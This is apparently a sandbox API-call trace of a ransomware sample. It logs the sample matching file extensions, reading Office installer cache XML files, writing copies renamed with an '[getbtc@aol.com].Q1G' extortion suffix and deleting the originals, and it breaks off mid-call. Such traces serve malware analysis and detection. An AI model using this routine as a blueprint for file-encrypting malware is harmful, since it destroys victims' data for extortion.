lstrlenW (lpString=".pdf") returned 4 [0036.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString=".xls") returned 4 [0036.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString=".xlsx") returned 5 [0036.346] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.346] lstrlenW (lpString=".ppt") returned 4 [0036.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.346] lstrlenW (lpString=".zip") returned 4 [0036.346] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.346] lstrlenW (lpString=".rar") returned 4 [0036.346] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString=".bz2") returned 4 [0036.346] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString=".7z") returned 3 [0036.346] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.347] lstrlenW (lpString=".dbf") returned 4 [0036.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.347] lstrlenW (lpString=".1cd") returned 4 [0036.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.347] lstrlenW (lpString=".jpg") returned 4 [0036.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.347] lstrlenW (lpString=".doc") returned 4 [0036.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString=".docx") returned 5 [0036.347] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.347] lstrlenW (lpString=".pdf") returned 4 [0036.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString=".xls") returned 4 [0036.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.347] lstrlenW (lpString=".xlsx") returned 5 [0036.347] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.347] lstrlenW (lpString=".ppt") returned 4 [0036.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.348] lstrlenW (lpString=".zip") returned 4 [0036.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.348] lstrlenW (lpString=".rar") returned 4 [0036.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.348] lstrlenW (lpString=".bz2") returned 4 [0036.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.348] lstrlenW (lpString=".7z") returned 3 [0036.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.348] lstrlenW (lpString=".dbf") returned 4 [0036.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.348] lstrlenW (lpString=".1cd") returned 4 [0036.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.348] lstrlenW (lpString=".jpg") returned 4 [0036.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.348] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.348] lstrlenW (lpString="Setup.xml") returned 9 [0036.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.349] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1852) returned 1 [0036.349] CloseHandle (hObject=0x198) returned 1 [0036.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.349] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.349] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.349] GetLastError () returned 0x0 [0036.349] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x73c, lpOverlapped=0x0) returned 1 [0036.351] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x740, lpOverlapped=0x0) returned 1 [0036.352] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.352] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.352] SetEndOfFile (hFile=0x1a8) returned 1 [0036.352] CloseHandle (hObject=0x1a8) returned 1 [0036.352] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.352] SetEndOfFile (hFile=0x198) returned 1 [0036.353] CloseHandle (hObject=0x198) returned 1 [0036.353] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.353] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.354] lstrlenW (lpString=".doc") returned 4 [0036.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString=".docx") returned 5 [0036.354] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.354] lstrlenW (lpString=".pdf") returned 4 [0036.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString=".xls") returned 4 [0036.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString=".xlsx") returned 5 [0036.354] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.354] lstrlenW (lpString=".ppt") returned 4 [0036.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.354] lstrlenW (lpString=".zip") returned 4 [0036.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.354] lstrlenW (lpString=".rar") returned 4 [0036.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString=".bz2") returned 4 [0036.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString=".7z") returned 3 [0036.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.354] lstrlenW (lpString=".dbf") returned 4 [0036.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.354] lstrlenW (lpString=".1cd") returned 4 [0036.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString=".jpg") returned 4 [0036.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString=".doc") returned 4 [0036.355] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString=".docx") returned 5 [0036.355] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.355] lstrlenW (lpString=".pdf") returned 4 [0036.355] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString=".xls") returned 4 [0036.355] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString=".xlsx") returned 5 [0036.355] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.355] lstrlenW (lpString=".ppt") returned 4 [0036.355] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString=".zip") returned 4 [0036.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.355] lstrlenW (lpString=".rar") returned 4 [0036.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString=".bz2") returned 4 [0036.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString=".7z") returned 3 [0036.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString=".dbf") returned 4 [0036.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.355] lstrlenW (lpString=".1cd") returned 4 [0036.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.356] lstrlenW (lpString=".jpg") returned 4 [0036.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.356] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.356] lstrlenW (lpString="Setup.xml") returned 9 [0036.356] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.357] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=6241) returned 1 [0036.357] CloseHandle (hObject=0x1a8) returned 1 [0036.357] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.357] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.358] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.358] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.359] GetLastError () returned 0x0 [0036.359] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1861, lpOverlapped=0x0) returned 1 [0036.361] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0036.362] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.362] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.362] SetEndOfFile (hFile=0x198) returned 1 [0036.362] CloseHandle (hObject=0x198) returned 1 [0036.363] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.363] SetEndOfFile (hFile=0x1a8) returned 1 [0036.364] CloseHandle (hObject=0x1a8) returned 1 [0036.364] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.364] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.364] lstrlenW (lpString=".doc") returned 4 [0036.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.364] lstrlenW (lpString=".docx") returned 5 [0036.364] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.364] lstrlenW (lpString=".pdf") returned 4 [0036.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".xls") returned 4 [0036.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".xlsx") returned 5 [0036.365] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.365] lstrlenW (lpString=".ppt") returned 4 [0036.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString=".zip") returned 4 [0036.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.365] lstrlenW (lpString=".rar") returned 4 [0036.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".bz2") returned 4 [0036.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".7z") returned 3 [0036.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString=".dbf") returned 4 [0036.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString=".1cd") returned 4 [0036.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString=".jpg") returned 4 [0036.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.365] lstrlenW (lpString=".doc") returned 4 [0036.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.365] lstrlenW (lpString=".docx") returned 5 [0036.366] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.366] lstrlenW (lpString=".pdf") returned 4 [0036.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".xls") returned 4 [0036.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".xlsx") returned 5 [0036.366] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.366] lstrlenW (lpString=".ppt") returned 4 [0036.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.366] lstrlenW (lpString=".zip") returned 4 [0036.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.366] lstrlenW (lpString=".rar") returned 4 [0036.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".bz2") returned 4 [0036.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString=".7z") returned 3 [0036.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.366] lstrlenW (lpString=".dbf") returned 4 [0036.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.366] lstrlenW (lpString=".1cd") returned 4 [0036.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.366] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.366] lstrlenW (lpString=".jpg") returned 4 [0036.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.366] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.367] lstrlenW (lpString="VisioMUI.xml") returned 12 [0036.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.367] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=9503) returned 1 [0036.367] CloseHandle (hObject=0x1a8) returned 1 [0036.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0036.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.367] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.367] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.368] GetLastError () returned 0x0 [0036.368] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x251f, lpOverlapped=0x0) returned 1 [0036.369] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2520, lpOverlapped=0x0) returned 1 [0036.370] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.370] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.370] SetEndOfFile (hFile=0x198) returned 1 [0036.370] CloseHandle (hObject=0x198) returned 1 [0036.371] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.371] SetEndOfFile (hFile=0x1a8) returned 1 [0036.372] CloseHandle (hObject=0x1a8) returned 1 [0036.372] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.372] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0036.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.372] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.372] lstrlenW (lpString=".doc") returned 4 [0036.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.373] lstrlenW 